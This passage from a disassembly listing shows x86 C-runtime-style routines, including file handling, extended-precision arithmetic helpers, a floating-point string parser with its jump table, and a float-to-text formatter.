sub_424E01+26j cmp dword_4DB2FC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5A0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB598 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB598 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5A0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC6C0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB27C, 5 jnz short loc_424FDC mov dword_4DB278, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 2600000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB278, 0Dh nop call near ptr 2690CE2h mov dword_4DB27C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB278, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C508 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C508 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C508 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C504, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C508 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C504, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C504, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C504, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C504, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 